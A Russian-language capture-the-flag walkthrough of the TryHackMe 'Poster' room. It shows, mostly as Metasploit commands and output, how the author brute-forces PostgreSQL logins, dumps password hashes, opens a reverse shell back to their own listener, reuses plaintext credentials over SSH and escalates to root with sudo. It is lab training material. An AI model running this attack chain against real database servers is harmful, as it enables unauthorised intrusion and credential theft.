Пост

TryHackMe - Poster

The sys admin set up a rdbms in a safe way

TryHackMe - Poster

Введение

RDBMS (реляционная система управления базами данных), основанная на реляционной модели Эдгара Ф. Кодда, позволяет эффективно управлять данными, организуя их в связанные между собой таблицы. В отличие от плоских файлов, RDBMS используют SQL для выполнения операций CRUD (создание, чтение, обновление, удаление), что обеспечивает лучшую эффективность, масштабируемость и удобство извлечения данных.

TryHackMe Room Link

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
nmap -T4 -n -sC -sV -Pn -p- 10.10.155.131
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 71:ed:48:af:29:9e:30:c1:b6:1d:ff:b0:24:cc:6d:cb (RSA)
|   256 eb:3a:a3:4e:6f:10:00:ab:ef:fc:c5:2b:0e:db:40:57 (ECDSA)
|_  256 3e:41:42:35:38:05:d3:92:eb:49:39:c6:e3:ee:78:de (ED25519)
80/tcp   open  http       Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Poster CMS
5432/tcp open  postgresql PostgreSQL DB 9.5.8 - 9.5.10 or 9.5.17 - 9.5.23
| ssl-cert: Subject: commonName=ubuntu
| Not valid before: 2020-07-29T00:54:25
|_Not valid after:  2030-07-27T00:54:25
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Открытые порты: 22/tcp 80/tcp 5432/tcp

Какая RDBMS установлена на сервере?

Мы можем увидеть это из вывода nmap

1
postgresql

На каком порту работает RDBMS?

Мы можем увидеть это из вывода nmap

1
5432

Какой полный путь к модулю (начиная с auxiliary)?

Запустим metasploit

1
2
msfconsole
msf6 > search postgresql

Path

Ответ:

1
auxiliary/scanner/postgres/postgres_login

Какие учетные данные вы нашли?

1
2
3
use auxiliary/scanner/postgres/postgres_login
msf6 auxiliary(scanner/postgres/postgres_login) > set RHOSTS 10.10.155.131
msf6 auxiliary(scanner/postgres/postgres_login) > exploit

Path

Ответ:

1
postgres:password

Какой полный путь к модулю, который позволяет выполнять команды с корректными учетными данными (начиная с auxiliary)?

1
search postgresql

Path2

Ответ:

1
auxiliary/admin/postgres/postgres_sql

На основе результатов задания #6, какая версия СУБД установлена на сервере?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
use auxiliary/admin/postgres/postgres_sql
msf6 auxiliary(admin/postgres/postgres_sql) > set RHOSTS 10.10.155.131
msf6 auxiliary(admin/postgres/postgres_sql) > set PASSWORD password
msf6 auxiliary(admin/postgres/postgres_sql) > exploit
[*] Running module against 10.10.155.131
Query Text: 'select version()'
==============================

    version
    -------
    PostgreSQL 9.5.21 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609
    , 64-bit

[*] Auxiliary module execution completed

Ответ:

1
9.5.21

Каков полный путь к модулю, который позволяет выгружать хэши пользователей (начиная с auxiliary)?

1
search postgres

Path3

Ответ:

1
auxiliary/scanner/postgres/postgres_hashdump

Сколько пользовательских хэшей выгружает этот модуль?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
use auxiliary/scanner/postgres/postgres_hashdump
msf6 auxiliary(scanner/postgres/postgres_hashdump) > set RHOSTS 10.10.155.131
msf6 auxiliary(scanner/postgres/postgres_hashdump) > set PASSWORD password
msf6 auxiliary(scanner/postgres/postgres_hashdump) > exploit
[+] Query appears to have run successfully
[+] Postgres Server Hashes
======================

 Username   Hash
 --------   ----
 darkstart  md58842b99375db43e9fdf238753623a27d
 poster     md578fb805c7412ae597b399844a54cce0a
 postgres   md532e12f215ba27cb750c9e093ce4b5127
 sistemas   md5f7dbc0d5a06653e74da6b1af9290ee2b
 ti         md57af9ac4c593e9e4f275576e13f935579
 tryhackme  md503aab1165001c8f8ccae31a8824efddc

Ответ:

1
6

Каков полный путь модуля (начиная с auxiliary), который позволяет аутентифицированному пользователю просматривать файлы по своему выбору на сервере?

Path4

Ответ:

1
auxiliary/admin/postgres/postgres_readfile

Каков полный путь модуля (начиная с exploit), который позволяет выполнять произвольные команды при наличии корректных учётных данных пользователя?

Ответ:

1
exploit/multi/postgres/postgres_copy_from_program_cmd_exec

Скомпрометируйте машину и найдите user.txt

Итак, используем указанный модуль: сначала запускаем netcat‑listener, а затем переходим к эксплуатации уязвимости

1
2
3
4
5
6
7
8
9
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set RHOSTS 10.10.155.131
RHOSTS => 10.10.155.131
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set password password
password => password
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set LPORT 1337
LPORT => 1337
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set LHOST 10.14.99.72
LHOST => 10.14.99.72
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > exploit

Exploit

Теперь мы можем прочитать файл credentials.txt, расположенный в каталоге /home/dark

1
2
cat credentials.txt
dark:qwerty1234#!hackme

Теперь мы входим под пользователем dark через SSH

1
2
ssh dark@10.10.155.131
qwerty1234#!hackme

После небольшого исследования мы можем найти учетные данные пользователя alison в файле config.php

1
alison:p4ssw0rdS3cur3!#

Итак, мы можем войти под пользователем alison и получить файл user.txt.

Повышение привилегий и получение root.txt

Похоже, что у нас есть возможность выполнять команды через sudo, поэтому…

1
2
3
4
5
6
7
8
9
10
alison@ubuntu:~$ sudo -l
[sudo] password for alison: 
Matching Defaults entries for alison on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alison may run the following commands on ubuntu:
    (ALL : ALL) ALL
alison@ubuntu:~$ sudo bash
root@ubuntu:~# 

Rootflag

Авторский пост защищен лицензией CC BY 4.0 .